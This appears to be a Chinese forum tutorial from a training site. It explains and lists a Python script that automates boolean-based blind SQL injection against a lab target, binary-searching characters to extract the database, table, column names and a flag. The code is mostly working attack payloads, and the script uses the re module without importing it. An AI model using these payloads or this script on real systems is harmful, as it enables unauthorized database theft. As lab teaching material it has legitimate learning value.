python基于2分法实现布尔盲注

君叹   ·   发表于 2021-07-11 20:19:47   ·   技术文章

代码是基于封神台的SQL注入靶场编写

首先我们想要实现2分法的编程思路是:

首先 范围 大于31 小于 128
首先判断该数字是否大于 79
如果大于 79,区间锁定为 80-128
小于79,区间锁定为32-79 根据语法 为 32-80
然后再去锁定区间
数据库中可以被当做数据库名的字符转化为ASCII码的区间为 32 - 127


导入模块 requests

import requests

1.首先编写一个函数,用于判断我们猜测的数据是否为真

如果为真返回 True,否则返回Flase

def fenxi(url):
    res = requests.get(url)
    valid = re.search("(有数据)", res.text)
    if valid:
        return True
    else:
        return False

2.编写函数 erfen 其中接收三个参数

num_down: 猜测范围中最小的数字
num_up: 猜测范围中最大的数字
p: 测试使用的payload
代码块的内容可简单理解为,如果 payload 注入进去后显示有数据
那么将 num_down的值设为 zhong ,再传递出去

def erfen(num_down, num_up, p):
    zhong = num_down + int((num_up - num_down) / 2)
    ui = "http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1"
    url = ui + p + f"{zhong}"
    if fenxi(url):
        num_down = zhong
    else:
        num_up = zhong
    return num_up, num_down

3.编写changdu函数

nd: 猜测范围中最小的数字
nu: 猜测范围中最大的数字
nd和nu用于传入erfen函数
payload:注入代码,id=1后面的
当区间不断缩小,nu - nd 等于1的时候
我们就可以确认我们要得到的长度数据的值了
这个值可以是某个字符串的长度,也可以是某个字符的ascii码
这取决于我们的payload

def chagndu(nd, nu, payload):
    while True:
        nu, nd = erfen(nd, nu, payload)
        if nu - nd == 1:
            lenth = nu
            break
    return lenth

4.ku_name() 用于获取库名、表名、字段名

lenth:这个字符串的长度,用上面的chagndu函数获取
pa: 测试字符串ascii码的payload
http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),1,1)) > 1”
在上面这段url中,如果我们要测试出当前库名的每一个字符的ascii码,其中有两个地方是需要变化的
分别是
http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),1,1)) > $1$”

http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),$1$,1)) > 1”
用$标记的字符,就是我们需要更改的
大于号后面的 1 是用来判断 这个字符的ascii码是多少
substr函数中的1使用来决定截取哪个字符串
大于号后面的 1 会在erfen函数中进行处理
我们这里需要处理的就是substr中的1
用for循环迭代变量i达到更改substr的值

def ku_name(lenth, pa):
    flag = ''
    for i in range(1, lenth + 1):
        pat = pa + f"{i},1))>"
        zifu = chagndu(32, 127, pat)
        flag += chr(zifu)
    return flag
  1. column_l_name()

由于字段名不是单个的
所以编写这个函数用来拿到所有的字段名
根据常识判断,靶场的字段不超过十个
所以这边只写了range(10),这边想写range(10000)都行
这边的逻辑是如果存在字段,那么这个字段的长度一定大于1 #这边好像有点问题,但是不影响,咱可以换成>=1嘛
说错了,是根据常识判断靶场的字段一定大于1
所以加上payload,用fenxi函数跑一遍,如果fenxi函数返回True
说明页面上显示的是有数据,那么就是有这个字段
应用时传入的pay是
“ and length((select columnname from information_schema.columns where table_schema=database() limit “
拼接之后就是去访问
limit 1,1
limit 2,1
limit 3,1
直到访问不到,break结束
能访问到的话再调用chagndu函数获取长度
ku_name函数获取字段名
然后加入list
这个列表中
最后返回list_列表

def column_l_name(pay, pay_name):
    list_ = []
    for i in range(10):
        ui = "http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1"
        payload = pay + f"{i},1)) >"
        url = ui + payload + "1"
        if fenxi(url):
            table_len = chagndu(1, 100, payload)
            payload_column_name = pay_name + f"{i},1),"
            column_name = ku_name(table_len, payload_column_name)
            list_.append(column_name)
        else:
            break
    return list_

  1. main函数

这里就不多赘述
将各种测试得到的payload根据格式传入

def main():
    p = f" and length(database())>"
    length = chagndu(1, 100, p)
    pa_ku_name = f" and ascii(substr(database(),"
    kuname = ku_name(length, pa_ku_name)
    print(f"[+] 当前库名为{kuname}")
    payload_table_length = " and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >"
    table_len = chagndu(1, 100, payload_table_length)
    payload_table_name = " and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),"
    table_name = ku_name(table_len, payload_table_name)
    print(f"[+] 当前表名为{table_name}")
    pay_column_l = " and length((select column_name from information_schema.columns where table_schema=database() limit "
    pay_column_n = " and ascii(substr((select column_name from information_schema.columns where table_schema=database() limit "
    column_name = column_l_name(pay_column_l, pay_column_n)
    print(f"[+] 字段名{column_name}")
    paylod_l = " and length((select flaglo from loflag limit "
    paylod_flag = " and ascii(substr((select flaglo from loflag limit "
    flag_name = column_l_name(paylod_l, paylod_flag)
    print(f"[+] flag{flag_name}")


if __name__ == '__main__':
    main()

编写过程中我们发现,想要拿到flag字符串也可以利用column_l_name()函数

运行结果:

哎呀,一不小心后面的flag都跑出来了

用户名金币积分时间理由
叹城 1.00 0 2021-08-14 13:01:12 一个受益终生的帖子~~
叹城 1.00 0 2021-08-13 11:11:36 一个受益终生的帖子~~
ZKAQ-枫 1.00 0 2021-08-12 22:10:10 一个受益终生的帖子~~
小买 1.00 0 2021-08-12 22:10:21 一个受益终生的帖子~~
小买 1.00 0 2021-08-12 22:10:00 一个受益终生的帖子~~
Track-JARVIS 1.00 0 2021-08-12 11:11:14
Track-聂风 40.00 0 2021-07-14 11:11:14 一个受益终生的帖子~~

打赏我,让我更有动力~

1 条回复   |  直到 2021-7-13 | 2011 次浏览

Track-聂风
发表于 2021-7-13

你的爬虫模块代码呢?

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.